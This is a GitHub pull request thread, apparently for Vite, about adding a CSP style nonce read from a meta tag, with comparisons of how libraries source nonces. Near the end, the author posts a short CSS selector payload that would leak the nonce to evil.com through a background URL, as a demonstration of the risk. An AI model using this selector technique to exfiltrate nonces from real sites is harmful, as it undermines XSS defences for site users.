Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

fix: add style nonce to comply with content security policy (fix #11862) #11864

Closed
wants to merge 4 commits into from

Conversation

justin-tay
Copy link
Contributor

@justin-tay justin-tay commented Jan 31, 2023

Description

Fixes #11862

Additional context

Unlike webpack there's no standard convention for where to get the nonce value from. For instance webpack style-loader will get it from window.__webpack_nonce__. Setting the nonce in a meta tag seems to be a cssinjs convention. See https://cssinjs.org/csp/?v=v10.9.2 but I also seen it used in https://github.com/marco-prontera/vite-plugin-css-injected-by-js.

The actual server that is serving the html file and generating the CSP headers is responsible to generate or rewrite the nonce placeholder value in the meta tag with a random nonce.

The project at https://github.com/justin-tay/vite-csp-issue can be used to see the issue and the fix.

I'm not sure how to add a test case for this. I have added a test to the css playground.


What is the purpose of this pull request?

  • Bug fix
  • New Feature
  • Documentation update
  • Other

Before submitting the PR, please make sure you do the following

  • Read the Contributing Guidelines.
  • Read the Pull Request Guidelines and follow the PR Title Convention.
  • Check that there isn't already a PR that solves the problem the same way to avoid creating a duplicate.
  • Provide a description in this PR that addresses what the PR is solving, or reference the issue that it solves (e.g. fixes #123).
  • Ideally, include relevant tests that fail without this PR but pass with it.

@sapphi-red sapphi-red added the enhancement New feature or request label Feb 1, 2023
@justin-tay justin-tay force-pushed the style_csp_fix branch 3 times, most recently from 785190f to 22724af Compare February 2, 2023 06:30
@maccuaa maccuaa mentioned this pull request Feb 6, 2023
9 tasks
@patak-dev patak-dev added the p2-to-be-discussed Enhancement under consideration (priority) label Mar 21, 2023
@patak-dev
Copy link
Member

Thanks for the PR @justin-tay! I added it to be reviewed in the next team meeting.

@justin-tay justin-tay force-pushed the style_csp_fix branch 2 times, most recently from c97e627 to ddaeb24 Compare July 10, 2023 08:26
@dargmuesli
Copy link

@patak-dev I'm wondering, what was the result of the team meeting? 💡

@patak-dev
Copy link
Member

We briefly touched on this and there was a positive consensus to add the feature. But we're unsure what is the proper convention to follow. It is still up for discussion. It would be helpful to get a more detailed list of projects using the proposed convention and alternatives.

@justin-tay
Copy link
Contributor Author

The libraries I've seen generally fall under the following categories

  • Gets from tag attribute
  • Gets from global variable
  • Function parameter

Having the value in the meta tag attribute makes for a convenient starting point to retrieve the nonce value generated by the backend to set in the rest of the libraries since sometimes you end up with more than one library.

Library Type Notes
CSS-in-JS Gets from tag attribute <meta property="csp-nonce" content="%NONCE_PLACEHOLDER%"/>
Styled JSX Gets from tag attribute <meta property="csp-nonce" content="%NONCE_PLACEHOLDER%"/>
Webpack style-loader Gets from global variable window.__webpack_nonce__
Styled Components Gets from global variable window.__webpack_nonce__
Stitches Gets from global variable window.__webpack_nonce__ fallback to window.nonce
Emotion Function parameter const cache = createCache({ nonce: cspNonce });
Goober Workaround Reuses tag with id _goober. So pre-create the style tag with the nonce. <style id="_goober" nonce="%NONCE_PLACEHOLDER%" />
Angular Gets from tag attribute <app-root ngCspNonce="%NONCE_PLACEHOLDER%">
Angular Function parameter bootstrapApplication(AppComponent, { providers: [{ provide: CSP_NONCE, useValue: globalThis.myRandomNonceValue }] });

@realrunner
Copy link

This is a good solution to Vite's lack of strict CSP support. What do we have to do to move this along?

@gregtwallace
Copy link
Contributor

You absolutely should not set the nonce value in any attribute other than 'nonce'. In this PR you're setting the nonce in the content attribute. This makes it available via non-script methods which makes it more accessible to malicious actors. To read the nonce anttribute value, you actually need js.

see: https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/nonce#accessing_nonces_and_nonce_hiding

@dargmuesli
Copy link

@gregtwallace thank you for pointing this out! You might also want to have a look at #14653, in case you haven't yet 🙌

@gregtwallace
Copy link
Contributor

Thanks! I just popped over there actually. I think these two ideas together are the ideal solution. I left a comment over there. :)

@justin-tay
Copy link
Contributor Author

You absolutely should not set the nonce value in any attribute other than 'nonce'. In this PR you're setting the nonce in the content attribute. This makes it available via non-script methods which makes it more accessible to malicious actors. To read the nonce attribute value, you actually need js.

see: https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/nonce#accessing_nonces_and_nonce_hiding

I was quite curious if this was true, considering that setting the nonce in the content attribute is used by the somewhat popular CSS-in-JS library. While it's not the easiest thing to exploit, it does look like it's a vulnerability as opposed to using the nonce attribute.

:has(meta[property='csp-nonce'][content='whatever']) ~ * {
  background: url('https://evil.com/nonce?whatever');
}

@ricred
Copy link

ricred commented Dec 15, 2023

Is this still open or has it been abandon due to the conflicts ?

@ghiscoding
Copy link
Contributor

@ricred a better approach was drafted, but still not released, by a team member in PR #14653

@sapphi-red sapphi-red mentioned this pull request Feb 28, 2024
9 tasks
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
enhancement New feature or request p2-to-be-discussed Enhancement under consideration (priority)
Projects
Archived in project
Development

Successfully merging this pull request may close these issues.

Issue setting strict CSP in dev
8 participants